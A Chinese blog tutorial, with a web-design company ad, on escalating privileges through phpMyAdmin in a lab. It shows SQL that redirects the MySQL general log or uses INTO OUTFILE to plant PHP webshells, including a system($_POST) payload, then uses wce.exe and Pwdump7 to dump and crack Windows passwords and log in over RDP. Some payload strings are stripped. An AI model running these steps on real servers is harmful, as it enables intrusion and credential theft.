小編給大家分享一下phpMyadmin提權(quán)的示例,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
離石網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)公司!從網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營維護(hù)。創(chuàng)新互聯(lián)公司2013年至今到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)公司。
引言:在滲透測試過程中獲知到phpMyadmin的賬號密碼,如何進(jìn)行提權(quán)呢?往下看,我今天和你說說phpMyadmin提權(quán)那些事。
phpMyAdmin 是一個(gè)以PHP為基礎(chǔ),以Web-Base方式架構(gòu)在網(wǎng)站主機(jī)上的MySQL的數(shù)據(jù)庫管理工具,讓管理者可用Web接口管理MySQL數(shù)據(jù)庫。
目標(biāo): Windows Server 2003 Enterprise x64 Edition 192.168.17.137攻擊機(jī): window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
我們經(jīng)過弱口令,爆破,目錄泄露等途徑已經(jīng)獲知PhpMyadmin的賬號密碼是root root。接下來我們就通過phpMyadmin來提權(quán),盡可能貼近真實(shí),多講思路。
如上圖所示,我們可以獲取到以下有用信息。
1.操作系統(tǒng)是windows server 2003 x86
2.服務(wù)器是Apache 2.4.32
3.網(wǎng)站默認(rèn)路徑是 E:\phpStudy\PHPTutorial\WWW
4.PHP版本是 5.45
5.mysql版本是 5.5.53
在上面我們已經(jīng)獲知了網(wǎng)站默認(rèn)的路徑是E:\phpstudy\PHPTutorial\WWW,這個(gè)時(shí)候我們肯定想插入一句話后門文件或者是導(dǎo)出shell。那如果我們需要使用以上兩種思路中的一種必須滿足一個(gè)前提條件“secure_file_priv”對應(yīng)的值不能為空且必須為默認(rèn)網(wǎng)站的路徑,所以我們必須提前檢測一下“secure_file_priv”的值。
phpMyadmin執(zhí)行以下命令:
SHOW VARIABLES LIKE “secure_file_priv”;
結(jié)果如圖所示:
從上圖得知值為空,如果我們這時(shí)導(dǎo)入一句話,肯定會失敗的,不信啊,那我們試試。
報(bào)錯(cuò)The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,這是因?yàn)閙ysql對通過文件導(dǎo)入導(dǎo)出作了限制,默認(rèn)不允許。默認(rèn)value值為null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測試子目錄也不行)。我們思考一下看看能否設(shè)置其的路徑為我們的默認(rèn)網(wǎng)站路徑,這樣我們就可以導(dǎo)入一句話后門了。那我們試試吧。
從圖得知這個(gè)變量是一個(gè)只讀變量無法動態(tài)更改,那應(yīng)該是只能從配置文件中更改了。到這里發(fā)現(xiàn)陷入了一個(gè)胡同,那常規(guī)方式不行,我們可以去使用一些騷思路,利用log日志文件插入一句話。
我們首先需要檢測的是MySQL全局變量(general_log、general_log file)的值。
general log 指的是日志保存狀態(tài),一共有兩個(gè)值(ON/OFF)ON代表開啟 OFF代表關(guān)閉。
general log file 指的是日志的保存路徑。
從圖得知general_log默認(rèn)是關(guān)閉的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。
首先我們來理解一下開啟general_log 的作用,開啟它可以記錄用戶輸入的每條命令,會把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一個(gè)log文件中,其實(shí)就是我們常說的日志文件。好,我們的利用的思路是開啟general_log之后把general_log_file的值修改為我們網(wǎng)站默認(rèn)路徑下一個(gè)自定義的php文件中,然后我們通過log日志進(jìn)行寫入一句話后門到上面去,然后再進(jìn)一步利用。
具體命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
緊接著我們可以看到在網(wǎng)站根路徑下找到我們生成的偽日記文件infos.php。
然后我們就得插入我們的一句話后門了。
select ‘’;
我們可以嘗試使用菜刀連接,成功連接。
我們上傳wce.exe獲取明文密碼。運(yùn)氣賊好,直接獲取到明文(11位字母和數(shù)字混合的密碼)。如果不能直接獲取明文那就得走第二條獲取hash值然后解密了。
上傳Pwdump7.exe獲取hash值保存到password.txt文件中。獲取hash值可以選擇在線http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出來就用Ophcrack導(dǎo)入彩虹表跑吧。
直接在菜刀終端輸入“netstat -an | find “3389″ 或者“netstat -an ”。
發(fā)現(xiàn)3389沒開,但是3390就開了,我們嘗試連接一下。
運(yùn)行mstsc開啟遠(yuǎn)程桌面。
輸入上面獲取到的賬號和密碼,成功登陸。
最后肯定是要清楚痕跡的,但我這里就不寫了,寫的內(nèi)容也是賊多了
上面演示了secure_file_priv值為空的情況,那么如果secure_file_priv不為空那我們該怎么辦?
打開mysq的配置文件my.ini,對secure_file_priv的值進(jìn)行設(shè)置,然后重啟mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/MYSQL/”
嘗試改變值,發(fā)現(xiàn)只是可讀,不能寫,那種情況無法寫入我們的一句話,因?yàn)槠湎拗屏藢?dǎo)出路徑,無法把一句話寫入之后導(dǎo)出到我們的網(wǎng)站根目錄。
打開mysq的配置文件my.ini,對secure_file_priv的值進(jìn)行設(shè)置,然后重啟mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我們嘗試插入一句話后門,成功插入。
二話不說菜刀連接。
當(dāng)然一句話還可以這樣插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/為網(wǎng)站的絕對路徑)
select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
以上是“phpMyadmin提權(quán)的示例”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!